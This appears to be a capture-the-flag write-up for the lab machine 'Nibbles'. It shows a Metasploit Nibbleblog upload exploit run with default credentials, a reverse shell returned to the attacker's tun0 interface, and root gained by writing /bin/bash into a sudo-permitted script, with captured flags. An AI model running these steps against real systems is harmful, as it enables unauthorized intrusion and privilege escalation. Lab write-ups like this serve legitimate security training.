

Initial Exploit -

The homepage leaks the URL to the blog:

```
curl http://10.129.84.175/
```

```
(kali㉿kali)-[~/../results/10.129.84.175/scans/tcp80]
$ curl http://10.129.84.175/
<b>Hello world!</b>

<— /nibbleblog/ directory. Nothing interesting here! —>
```

The page is running NibblesBlog v4.0.3. Metasploit has an exploit available [here](#). Run the exploit:

```
sudo msfdb run
```

```
use multi/http/nibbleblog_file_upload
```

```
set rhost 10.129.84.175
```

```
set lhost tun0
```

```
set lport 80
```

The blog is using the weak credentials **admin:nibbles**:

```
set username admin
```

```
set password nibbles
```

```
run
```

The shell returns as nibbler.

Privilege Escalation -

Nibbler is allowed to run the script at **/home/nibbler/personal/stuff/monitor.sh** as root without a password.

```
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

That script and directory do not exist. Create them:

```
mkdir -p /home/nibbler/personal/stuff
```

```
echo /bin/bash > /home/nibbler/personal/stuff/monitor.sh
```

Make the script executable:

```
chmod +x /home/nibbler/personal/stuff/monitor.sh
```

Run the script as root:

```
sudo /home/nibbler/personal/stuff/monitor.sh
```

Proof -

User:

```
cat user.txt
54f2ad9544a4d71fa1f980ff0af50dae requires Metasploit: http://www.metasploit.com/download
whoami
nibbler
ifconfig
ens192    Link encap:Ethernet  HWaddr 00:50:56:b9:66:dc
          inet addr:10.129.84.175  Bcast:10.129.255.255  Mask:255.255.0.0
          inet6 addr: dead:beef::250:56ff:feb9:66dc/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:66dc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:739219 errors:0 dropped:0 overruns:0 frame:0
          TX packets:686659 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:108244654 (108.2 MB)  TX bytes:308492675 (308.4 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1556 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1556 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:149624 (149.6 KB)  TX bytes:149624 (149.6 KB)

[2] 0:sudo- 1:sudo*Z "kali" 21:04 10-Jul-22
```

Root:

```
cat root.txt
880d180feb660384e6c2d907a2001c3e
ifconfig
ens192    Link encap:Ethernet  HWaddr 00:50:56:b9:66:dc
          inet addr:10.129.84.175  Bcast:10.129.255.255  Mask:255.255.0.0
          inet6 addr: dead:beef::250:56ff:feb9:66dc/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:66dc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:879921 errors:0 dropped:0 overruns:0 frame:0
          TX packets:748577 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:128810412 (128.8 MB)  TX bytes:329683779 (329.6 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1628 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1628 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:156752 (156.7 KB)  TX bytes:156752 (156.7 KB)

whoami
root

[2] 0:sudo- 1:sudo*Z "kali" 10:26 11-Jul-22
```